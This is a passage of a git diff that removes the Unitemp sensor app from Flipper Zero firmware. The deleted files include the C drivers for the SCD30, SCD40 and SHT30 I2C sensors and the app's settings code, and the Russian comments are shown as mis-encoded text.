floatBuff[cntr++] = buff[1]; - uint8_t expectedCRC = computeCRC8(buff, 2); - if(buff[2] != expectedCRC) return false; - buff += 3; - } - uint32_t tmpVal = load32_be(floatBuff); - memcpy(val, &tmpVal, sizeof(float)); - return true; -} - -// Get 18 bytes from SCD30 -// Updates global variables with floats -// Returns true if success -static bool readMeasurement(Sensor* sensor) { - // Verify we have data from the sensor - if(!dataAvailable(sensor)) { - return false; - } - - if(!sendCommand(sensor, COMMAND_READ_MEASUREMENT)) { - FURI_LOG_E(APP_NAME, "Sensor did not ACK"); - return false; // Sensor did not ACK - } - - float tempCO2 = 0; - float tempHumidity = 0; - float tempTemperature = 0; - - furi_delay_ms(3); - - static const uint8_t respSize = 18; - uint8_t buff[respSize]; - uint8_t* bytes = buff; - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - if(!unitemp_i2c_readArray(i2c_sensor, respSize, bytes)) { - FURI_LOG_E(APP_NAME, "Error while read measures"); - return false; - } - - bool error = false; - if(loadFloat(bytes, &tempCO2)) { - sensor->co2 = tempCO2; - } else { - FURI_LOG_E(APP_NAME, "Error while parsing CO2"); - error = true; - } - - bytes += 6; - if(loadFloat(bytes, &tempTemperature)) { - sensor->temp = tempTemperature; - } else { - FURI_LOG_E(APP_NAME, "Error while parsing temp"); - error = true; - } - - bytes += 6; - if(loadFloat(bytes, &tempHumidity)) { - sensor->hum = tempHumidity; - } else { - FURI_LOG_E(APP_NAME, "Error while parsing humidity"); - error = true; - } - - return !error; -} - -static void reset(Sensor* sensor) { - sendCommand(sensor, COMMAND_RESET); -} - -static bool setAutoSelfCalibration(Sensor* sensor, bool enable) { - return sendCommandWithCRC( - sensor, COMMAND_AUTOMATIC_SELF_CALIBRATION, enable); // Activate continuous ASC -} - -// Get the current ASC setting -static bool getAutoSelfCalibration(Sensor* sensor) { - return 1 == readRegister(sensor, COMMAND_AUTOMATIC_SELF_CALIBRATION); -} - -static bool getFirmwareVersion(Sensor* sensor, uint16_t* val) { - return getSettingValue(sensor, COMMAND_READ_FW_VER, val); -} - -// Set the forced recalibration factor. See 1.3.7. -// The reference CO2 concentration has to be within the range 400 ppm ≤ cref(CO2) ≤ 2000 ppm. -static bool setForcedRecalibrationFactor(Sensor* sensor, uint16_t concentration) { - if(concentration < 400 || concentration > 2000) { - return false; // Error check. - } - return sendCommandWithCRC(sensor, COMMAND_SET_FORCED_RECALIBRATION_FACTOR, concentration); -} - -// Get the temperature offset. See 1.3.8. -static float getTemperatureOffset(Sensor* sensor) { - union { - int16_t signed16; - uint16_t unsigned16; - } signedUnsigned; // Avoid any ambiguity casting int16_t to uint16_t - signedUnsigned.unsigned16 = readRegister(sensor, COMMAND_SET_TEMPERATURE_OFFSET); - - return ((float)signedUnsigned.signed16) / 100.0; -} - -static bool setTemperatureOffset(Sensor* sensor, float tempOffset) { - // Temp offset is only positive. See: https://github.com/sparkfun/SparkFun_SCD30_Arduino_Library/issues/27#issuecomment-971986826 - //"The SCD30 offset temperature is obtained by subtracting the reference temperature from the SCD30 output temperature" - // https://www.sensirion.com/fileadmin/user_upload/customers/sensirion/Dokumente/9.5_CO2/Sensirion_CO2_Sensors_SCD30_Low_Power_Mode.pdf - - if(tempOffset < 0.0) return false; - - uint16_t value = tempOffset * 100; - - return sendCommandWithCRC(sensor, COMMAND_SET_TEMPERATURE_OFFSET, value); -} - -// Get the altitude compenstation. See 1.3.9. -static uint16_t getAltitudeCompensation(Sensor* sensor) { - return readRegister(sensor, COMMAND_SET_ALTITUDE_COMPENSATION); -} - -// Set the altitude compenstation. See 1.3.9. -static bool setAltitudeCompensation(Sensor* sensor, uint16_t altitude) { - return sendCommandWithCRC(sensor, COMMAND_SET_ALTITUDE_COMPENSATION, altitude); -} - -// Set the pressure compenstation. This is passed during measurement startup. -// mbar can be 700 to 1200 -static bool setAmbientPressure(Sensor* sensor, uint16_t pressure_mbar) { - if(pressure_mbar != 0 || pressure_mbar < 700 || pressure_mbar > 1200) { - return false; - } - return sendCommandWithCRC(sensor, COMMAND_CONTINUOUS_MEASUREMENT, pressure_mbar); -} - -// Begins continuous measurements -// Continuous measurement status is saved in non-volatile memory. When the sensor -// is powered down while continuous measurement mode is active SCD30 will measure -// continuously after repowering without sending the measurement command. -// Returns true if successful -static bool beginMeasuringWithSettings(Sensor* sensor, uint16_t pressureOffset) { - return sendCommandWithCRC(sensor, COMMAND_CONTINUOUS_MEASUREMENT, pressureOffset); -} - -// Overload - no pressureOffset -static bool beginMeasuring(Sensor* sensor) { - return beginMeasuringWithSettings(sensor, 0); -} - -// Stop continuous measurement -static bool stopMeasurement(Sensor* sensor) { - return sendCommand(sensor, COMMAND_STOP_MEAS); -} - -// Sets interval between measurements -// 2 seconds to 1800 seconds (30 minutes) -static bool setMeasurementInterval(Sensor* sensor, uint16_t interval) { - if(interval < 2 || interval > 1800) return false; - if(!sendCommandWithCRC(sensor, COMMAND_SET_MEASUREMENT_INTERVAL, interval)) return false; - uint16_t verInterval = readRegister(sensor, COMMAND_SET_MEASUREMENT_INTERVAL); - if(verInterval != interval) { - FURI_LOG_E(APP_NAME, "Measure interval wrong! Val: %02x", verInterval); - return false; - } - return true; -} - -// Gets interval between measurements -// 2 seconds to 1800 seconds (30 minutes) -static uint16_t getMeasurementInterval(Sensor* sensor) { - uint16_t interval = 0; - getSettingValue(sensor, COMMAND_SET_MEASUREMENT_INTERVAL, &interval); - return interval; -} - -// Returns true when data is available -static bool dataAvailable(Sensor* sensor) { - return 1 == readRegister(sensor, COMMAND_GET_DATA_READY); -} \ No newline at end of file diff --git a/applications/external/unitemp/sensors/SCD30.h b/applications/external/unitemp/sensors/SCD30.h deleted file mode 100644 index 1ebfbb411..000000000 --- a/applications/external/unitemp/sensors/SCD30.h +++ /dev/null @@ -1,59 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - Contributed by divinebird (https://github.com/divinebird) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_SCD30 -#define UNITEMP_SCD30 - -#include "../unitemp.h" -#include "../Sensors.h" - -extern const SensorType SCD30; -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика SCD30 - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_SCD30_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика SCD30 - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_SCD30_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param sensor Указатель на датчик - */ -bool unitemp_SCD30_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð¿Ñ€Ð¾Ñа датчика - */ -UnitempStatus unitemp_SCD30_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * @param sensor Указатель на датчик - */ -bool unitemp_SCD30_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/SCD40.c b/applications/external/unitemp/sensors/SCD40.c deleted file mode 100644 index c88943a00..000000000 --- a/applications/external/unitemp/sensors/SCD40.c +++ /dev/null @@ -1,291 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - Contributed by divinebird (https://github.com/divinebird) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -// Some information may be seen on https://github.com/sparkfun/SparkFun_SCD30_Arduino_Library - -#include "SCD30.h" -#include "../interfaces/I2CSensor.h" -#include "../interfaces/endianness.h" -//#include <3rdparty/everest/include/everest/kremlin/c_endianness.h> - -bool unitemp_SCD40_alloc(Sensor* sensor, char* args); -bool unitemp_SCD40_init(Sensor* sensor); -bool unitemp_SCD40_deinit(Sensor* sensor); -UnitempStatus unitemp_SCD40_update(Sensor* sensor); -bool unitemp_SCD40_free(Sensor* sensor); - -const SensorType SCD40 = { - .typename = "SCD40", - .interface = &I2C, - .datatype = UT_DATA_TYPE_TEMP_HUM_CO2, - .pollingInterval = 5000, - .allocator = unitemp_SCD40_alloc, - .mem_releaser = unitemp_SCD40_free, - .initializer = unitemp_SCD40_init, - .deinitializer = unitemp_SCD40_deinit, - .updater = unitemp_SCD40_update}; - -#define SCD40_ID 0x62 - -#define COMMAND_START_PERIODIC_MEASUREMENT 0X21B1 -#define COMMAND_READ_MEASUREMENT 0XEC05 -#define COMMAND_STOP_PERIODIC_MEASUREMENT 0X3F86 - -#define COMMAND_PERSIST_SETTINGS 0X3615 -#define COMMAND_GET_SERIAL_NUMBER 0X3682 -#define COMMAND_PERFORM_SELF_TEST 0X3639 -#define COMMAND_PERFORM_FACTORY_RESET 0X3632 -#define COMMAND_REINIT 0X3646 - -#define COMMAND_SET_TEMPERATURE_OFFSET 0X241D -#define COMMAND_GET_TEMPERATURE_OFFSET 0X2318 -#define COMMAND_SET_SENSOR_ALTITUDE 0X2427 -#define COMMAND_GET_SENSOR_ALTITUDE 0X2322 -#define COMMAND_SET_AMBIENT_PRESSURE 0XE000 -#define COMMAND_PERFORM_FORCED_RECALIBRATION 0X362F -#define COMMAND_SET_AUTOMATIC_SELF_CALIBRATION_ENABLED 0X2416 -#define COMMAND_GET_AUTOMATIC_SELF_CALIBRATION_ENABLED 0X2313 - -static bool readMeasurement(Sensor* sensor) __attribute__((unused)); -static void reset(Sensor* sensor) __attribute__((unused)); - -static bool setAutoSelfCalibration(Sensor* sensor, bool enable) __attribute__((unused)); -static bool getAutoSelfCalibration(Sensor* sensor) __attribute__((unused)); - -static bool getFirmwareVersion(Sensor* sensor, uint16_t* val) __attribute__((unused)); - -static float getTemperatureOffset(Sensor* sensor) __attribute__((unused)); -static bool setTemperatureOffset(Sensor* sensor, float tempOffset) __attribute__((unused)); - -static bool beginMeasuring(Sensor* sensor) __attribute__((unused)); -static bool stopMeasurement(Sensor* sensor) __attribute__((unused)); - -bool unitemp_SCD40_alloc(Sensor* sensor, char* args) { - UNUSED(args); - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - i2c_sensor->minI2CAdr = SCD40_ID << 1; - i2c_sensor->maxI2CAdr = SCD40_ID << 1; - return true; -} - -bool unitemp_SCD40_free(Sensor* sensor) { - //Ðечего выÑвобождать, так как ничего не было выделено - UNUSED(sensor); - return true; -} - -bool unitemp_SCD40_init(Sensor* sensor) { - return beginMeasuring(sensor); -} - -bool unitemp_SCD40_deinit(Sensor* sensor) { - return stopMeasurement(sensor); -} - -UnitempStatus unitemp_SCD40_update(Sensor* sensor) { - readMeasurement(sensor); - return UT_SENSORSTATUS_OK; -} - -#define CRC8_POLYNOMIAL 0x31 -#define CRC8_INIT 0xFF - -static uint8_t computeCRC8(uint8_t* message, uint8_t len) { - uint8_t crc = CRC8_INIT; // Init with 0xFF - for(uint8_t x = 0; x < len; x++) { - crc ^= message[x]; // XOR-in the next input byte - for(uint8_t i = 0; i < 8; i++) { - if((crc & 0x80) != 0) - crc = (uint8_t)((crc << 1) ^ CRC8_POLYNOMIAL); - else - crc <<= 1; - } - } - return crc; // No output reflection -} - -// Sends a command along with arguments and CRC -static bool sendCommandWithCRC(Sensor* sensor, uint16_t command, uint16_t arguments) { - static const uint8_t cmdSize = 5; - - uint8_t bytes[cmdSize]; - uint8_t* pointer = bytes; - store16_be(pointer, command); - pointer += 2; - uint8_t* argPos = pointer; - store16_be(pointer, arguments); - pointer += 2; - *pointer = computeCRC8(argPos, pointer - argPos); - - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - return unitemp_i2c_writeArray(i2c_sensor, cmdSize, bytes); -} - -// Sends just a command, no arguments, no CRC -static bool sendCommand(Sensor* sensor, uint16_t command) { - static const uint8_t cmdSize = 2; - - uint8_t bytes[cmdSize]; - store16_be(bytes, command); - - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - return unitemp_i2c_writeArray(i2c_sensor, cmdSize, bytes); -} - -static uint16_t readRegister(Sensor* sensor, uint16_t registerAddress) { - static const uint8_t regSize = 2; - - if(!sendCommand(sensor, registerAddress)) return 0; // Sensor did not ACK - - furi_delay_ms(3); - - uint8_t bytes[regSize]; - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - if(!unitemp_i2c_readArray(i2c_sensor, regSize, bytes)) return 0; - - return load16_be(bytes); -} - -static bool loadWord(uint8_t* buff, uint16_t* val) { - uint16_t tmp = load16_be(buff); - uint8_t expectedCRC = computeCRC8(buff, 2); - if(buff[2] != expectedCRC) return false; - *val = tmp; - return true; -} - -static bool getSettingValue(Sensor* sensor, uint16_t registerAddress, uint16_t* val) { - static const uint8_t respSize = 3; - - if(!sendCommand(sensor, registerAddress)) return false; // Sensor did not ACK - - furi_delay_ms(3); - - uint8_t bytes[respSize]; - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - if(!unitemp_i2c_readArray(i2c_sensor, respSize, bytes)) return false; - - return loadWord(bytes, val); -} - -// Get 18 bytes from SCD30 -// Updates global variables with floats -// Returns true if success -static bool readMeasurement(Sensor* sensor) { - if(!sendCommand(sensor, COMMAND_READ_MEASUREMENT)) { - FURI_LOG_E(APP_NAME, "Sensor did not ACK"); - return false; // Sensor did not ACK - } - - furi_delay_ms(3); - - static const uint8_t respSize = 9; - uint8_t buff[respSize]; - uint8_t* bytes = buff; - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - if(!unitemp_i2c_readArray(i2c_sensor, respSize, bytes)) { - FURI_LOG_E(APP_NAME, "Error while read measures"); - return false; - } - - uint16_t tmpValue; - - bool error = false; - if(loadWord(bytes, &tmpValue)) { - sensor->co2 = tmpValue; - } else { - FURI_LOG_E(APP_NAME, "Error while parsing CO2"); - error = true; - } - - bytes += 3; - if(loadWord(bytes, &tmpValue)) { - sensor->temp = (float)tmpValue * 175.0f / 65535.0f - 45.0f; - } else { - FURI_LOG_E(APP_NAME, "Error while parsing temp"); - error = true; - } - - bytes += 3; - if(loadWord(bytes, &tmpValue)) { - sensor->hum = (float)tmpValue * 100.0f / 65535.0f; - } else { - FURI_LOG_E(APP_NAME, "Error while parsing humidity"); - error = true; - } - - return !error; -} - -static void reset(Sensor* sensor) { - sendCommand(sensor, COMMAND_REINIT); -} - -static bool setAutoSelfCalibration(Sensor* sensor, bool enable) { - return sendCommandWithCRC( - sensor, COMMAND_SET_AUTOMATIC_SELF_CALIBRATION_ENABLED, enable); // Activate continuous ASC -} - -// Get the current ASC setting -static bool getAutoSelfCalibration(Sensor* sensor) { - return 1 == readRegister(sensor, COMMAND_GET_AUTOMATIC_SELF_CALIBRATION_ENABLED); -} - -// Unfinished -static bool getFirmwareVersion(Sensor* sensor, uint16_t* val) { - if(!sendCommand(sensor, COMMAND_READ_MEASUREMENT)) { - FURI_LOG_E(APP_NAME, "Sensor did not ACK"); - return false; // Sensor did not ACK - } - - static const uint8_t respSize = 9; - uint8_t buff[respSize]; - uint8_t* bytes = buff; - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - if(!unitemp_i2c_readArray(i2c_sensor, respSize, bytes)) { - FURI_LOG_E(APP_NAME, "Error while read measures"); - return false; - } - - *val = 0; - - return true; -} - -static bool beginMeasuring(Sensor* sensor) { - return sendCommand(sensor, COMMAND_START_PERIODIC_MEASUREMENT); -} - -// Stop continuous measurement -static bool stopMeasurement(Sensor* sensor) { - return sendCommand(sensor, COMMAND_READ_MEASUREMENT); -} - -static float getTemperatureOffset(Sensor* sensor) { - uint16_t curOffset; - if(!getSettingValue(sensor, COMMAND_GET_TEMPERATURE_OFFSET, &curOffset)) return 0.0; - return (float)curOffset * 175.0f / 65536.0f; -} - -static bool setTemperatureOffset(Sensor* sensor, float tempOffset) { - uint16_t newOffset = tempOffset * 65536.0 / 175.0 + 0.5f; - return sendCommandWithCRC( - sensor, COMMAND_SET_TEMPERATURE_OFFSET, newOffset); // Activate continuous ASC -} diff --git a/applications/external/unitemp/sensors/SCD40.h b/applications/external/unitemp/sensors/SCD40.h deleted file mode 100644 index 5cf7a4324..000000000 --- a/applications/external/unitemp/sensors/SCD40.h +++ /dev/null @@ -1,59 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - Contributed by divinebird (https://github.com/divinebird) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_SCD40 -#define UNITEMP_SCD40 - -#include "../unitemp.h" -#include "../Sensors.h" - -extern const SensorType SCD40; -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика SCD40 - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_SCD40_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика SCD40 - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_SCD40_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * @param sensor Указатель на датчик - */ -bool unitemp_SCD40_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð¿Ñ€Ð¾Ñа датчика - */ -UnitempStatus unitemp_SCD40_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * @param sensor Указатель на датчик - */ -bool unitemp_SCD40_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/SHT30.c b/applications/external/unitemp/sensors/SHT30.c deleted file mode 100644 index dd43e80af..000000000 --- a/applications/external/unitemp/sensors/SHT30.c +++ /dev/null @@ -1,90 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "SHT30.h" -#include "../interfaces/I2CSensor.h" - -const SensorType SHT30 = { - .typename = "SHT30", - .altname = "SHT30/31/35", - .interface = &I2C, - .datatype = UT_TEMPERATURE | UT_HUMIDITY, - .pollingInterval = 1000, - .allocator = unitemp_SHT30_I2C_alloc, - .mem_releaser = unitemp_SHT30_I2C_free, - .initializer = unitemp_SHT30_init, - .deinitializer = unitemp_SHT30_I2C_deinit, - .updater = unitemp_SHT30_I2C_update}; -const SensorType GXHT30 = { - .typename = "GXHT30", - .altname = "GXHT30/31/35", - .interface = &I2C, - .datatype = UT_TEMPERATURE | UT_HUMIDITY, - .pollingInterval = 1000, - .allocator = unitemp_SHT30_I2C_alloc, - .mem_releaser = unitemp_SHT30_I2C_free, - .initializer = unitemp_GXHT30_init, - .deinitializer = unitemp_SHT30_I2C_deinit, - .updater = unitemp_SHT30_I2C_update}; - -bool unitemp_SHT30_I2C_alloc(Sensor* sensor, char* args) { - UNUSED(args); - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - - //ÐдреÑа на шине I2C (7 бит) - i2c_sensor->minI2CAdr = 0x44 << 1; - i2c_sensor->maxI2CAdr = 0x45 << 1; - return true; -} - -bool unitemp_SHT30_I2C_free(Sensor* sensor) { - //Ðечего выÑвобождать, так как ничего не было выделено - UNUSED(sensor); - return true; -} - -bool unitemp_SHT30_init(Sensor* sensor) { - UNUSED(sensor); - return true; -} - -bool unitemp_GXHT30_init(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - //Включение режима автоматичеÑкого Ð¿Ñ€ÐµÐ¾Ð±Ñ€Ð°Ð·Ð¾Ð²Ð°Ð½Ð¸Ñ 2 раза в Ñек - uint8_t data[2] = {0x22, 0x36}; - if(!unitemp_i2c_writeArray(i2c_sensor, 2, data)) return false; - return true; -} - -bool unitemp_SHT30_I2C_deinit(Sensor* sensor) { - //Ðечего деинициализировать - UNUSED(sensor); - return true; -} - -UnitempStatus unitemp_SHT30_I2C_update(Sensor* sensor) { - I2CSensor* i2c_sensor = (I2CSensor*)sensor->instance; - //Получение данных - uint8_t data[6] = {0xE0, 0x00}; - if(!unitemp_i2c_writeArray(i2c_sensor, 2, data)) return UT_SENSORSTATUS_TIMEOUT; - if(!unitemp_i2c_readArray(i2c_sensor, 6, data)) return UT_SENSORSTATUS_TIMEOUT; - - sensor->temp = -45 + 175 * (((uint16_t)(data[0] << 8) | data[1]) / 65535.0f); - sensor->hum = 100 * (((uint16_t)(data[3] << 8) | data[4]) / 65535.0f); - - return UT_SENSORSTATUS_OK; -} diff --git a/applications/external/unitemp/sensors/SHT30.h b/applications/external/unitemp/sensors/SHT30.h deleted file mode 100644 index 4b5b74411..000000000 --- a/applications/external/unitemp/sensors/SHT30.h +++ /dev/null @@ -1,70 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#ifndef UNITEMP_SHT30 -#define UNITEMP_SHT30 - -#include "../unitemp.h" -#include "../Sensors.h" -extern const SensorType SHT30; -extern const SensorType GXHT30; -/** - * @brief Выделение памÑти и уÑтановка начальных значений датчика SHT30 - * - * @param sensor Указатель на Ñоздаваемый датчик - * @return ИÑтина при уÑпехе - */ -bool unitemp_SHT30_I2C_alloc(Sensor* sensor, char* args); - -/** - * @brief Инициализации датчика SHT30 - * - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_SHT30_init(Sensor* sensor); -/** - * @brief Инициализации датчика GXHT30 - * - * @param sensor Указатель на датчик - * @return ИÑтина еÑли Ð¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ ÑƒÐ¿ÑÐ¿ÐµÑˆÐ½Ð°Ñ - */ -bool unitemp_GXHT30_init(Sensor* sensor); - -/** - * @brief Ð”ÐµÐ¸Ð½Ð¸Ñ†Ð¸Ð°Ð»Ð¸Ð·Ð°Ñ†Ð¸Ñ Ð´Ð°Ñ‚Ñ‡Ð¸ÐºÐ° - * - * @param sensor Указатель на датчик - */ -bool unitemp_SHT30_I2C_deinit(Sensor* sensor); - -/** - * @brief Обновление значений из датчика - * - * @param sensor Указатель на датчик - * @return Ð¡Ñ‚Ð°Ñ‚ÑƒÑ Ð¾Ð±Ð½Ð¾Ð²Ð»ÐµÐ½Ð¸Ñ - */ -UnitempStatus unitemp_SHT30_I2C_update(Sensor* sensor); - -/** - * @brief Ð’Ñ‹Ñвободить памÑÑ‚ÑŒ датчика - * - * @param sensor Указатель на датчик - */ -bool unitemp_SHT30_I2C_free(Sensor* sensor); - -#endif \ No newline at end of file diff --git a/applications/external/unitemp/sensors/Sensors.xlsx b/applications/external/unitemp/sensors/Sensors.xlsx deleted file mode 100644 index c314098a8..000000000 Binary files a/applications/external/unitemp/sensors/Sensors.xlsx and /dev/null differ diff --git a/applications/external/unitemp/unitemp.c b/applications/external/unitemp/unitemp.c deleted file mode 100644 index 9fa3b7038..000000000 --- a/applications/external/unitemp/unitemp.c +++ /dev/null @@ -1,342 +0,0 @@ -/* - Unitemp - Universal temperature reader - Copyright (C) 2022-2023 Victor Nikitchuk (https://github.com/quen0n) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ -#include "unitemp.h" -#include "interfaces/SingleWireSensor.h" -#include "Sensors.h" -#include "./views/UnitempViews.h" - -#include - -/* Переменные */ -//Данные Ð¿Ñ€Ð¸Ð»Ð¾Ð¶ÐµÐ½Ð¸Ñ -Unitemp* app; - -void uintemp_celsiumToFarengate(Sensor* sensor) { - sensor->temp = sensor->temp * (9.0 / 5.0) + 32; - sensor->heat_index = sensor->heat_index * (9.0 / 5.0) + 32; -} - -static float heat_index_consts[9] = { - -42.379f, - 2.04901523f, - 10.14333127f, - -0.22475541f, - -0.00683783f, - -0.05481717f, - 0.00122874f, - 0.00085282f, - -0.00000199f}; -void unitemp_calculate_heat_index(Sensor* sensor) { - // temp should be in Celsius, heat index will be in Celsius - float temp = sensor->temp * (9.0 / 5.0) + 32.0f; - float hum = sensor->hum; - sensor->heat_index = - (heat_index_consts[0] + heat_index_consts[1] * temp + heat_index_consts[2] * hum + - heat_index_consts[3] * temp * hum + heat_index_consts[4] * temp * temp + - heat_index_consts[5] * hum * hum + heat_index_consts[6] * temp * temp * hum + - heat_index_consts[7] * temp * hum * hum + heat_index_consts[8] * temp * temp * hum * hum - - 32.0f) * - (5.0 / 9.0); -} -void unitemp_pascalToMmHg(Sensor* sensor) { - sensor->pressure = sensor->pressure * 0.007500638; -} -void unitemp_pascalToKPa(Sensor* sensor) { - sensor->pressure = sensor->pressure / 1000.0f; -} -void unitemp_pascalToHPa(Sensor* sensor) { - sensor->pressure = sensor->pressure / 100.0f; -} -void unitemp_pascalToInHg(Sensor* sensor) { - sensor->pressure = sensor->pressure * 0.0002953007; -} - -bool unitemp_saveSettings(void) { - //Выделение памÑти Ð´Ð»Ñ Ð¿Ð¾Ñ‚Ð¾ÐºÐ° - app->file_stream = file_stream_alloc(app->storage); - - //ÐŸÐµÑ€ÐµÐ¼ÐµÐ½Ð½Ð°Ñ Ð¿ÑƒÑ‚Ð¸ к файлу - FuriString* filepath = furi_string_alloc(); - //СоÑтавление пути к файлу - furi_string_printf(filepath, "%s/%s", APP_PATH_FOLDER, APP_FILENAME_SETTINGS); - //Создание папки плагина - storage_common_mkdir(app->storage, APP_PATH_FOLDER); - //Открытие потока - if(!file_stream_open( - app->file_stream, furi_string_get_cstr(filepath), FSAM_READ_WRITE, FSOM_CREATE_ALWAYS)) { - FURI_LOG_E( - APP_NAME, - "An error occurred while saving the settings file: %d", - file_stream_get_error(app->file_stream)); - //Закрытие потока и оÑвобождение памÑти - file_stream_close(app->file_stream); - stream_free(app->file_stream); - return false; - } - - //Сохранение наÑтроек - stream_write_format( - app->file_stream, "INFINITY_BACKLIGHT %d\n", app->settings.infinityBacklight); - stream_write_format(app->file_stream, "TEMP_UNIT %d\n", app->settings.temp_unit); - stream_write_format(app->file_stream, "PRESSURE_UNIT %d\n", app->settings.pressure_unit); - stream_write_format(app->file_stream, "HEAT_INDEX %d\n", app->settings.heat_index); - - //Закрытие потока и оÑвобождение памÑти - file_stream_close(app->file_stream); - stream_free(app->file_stream); - - FURI_LOG_I(APP_NAME, "Settings have been successfully saved"); - return true; -} - -bool unitemp_loadSettings(void) { - UNITEMP_DEBUG("Loading settings..."); - - //Выделение памÑти на поток - app->file_stream = file_stream_alloc(app->storage); - - //ÐŸÐµÑ€ÐµÐ¼ÐµÐ½Ð½Ð°Ñ Ð¿ÑƒÑ‚Ð¸ к файлу - FuriString* filepath = furi_string_alloc(); - //СоÑтавление пути к файлу - furi_string_printf(filepath, "%s/%s", APP_PATH_FOLDER, 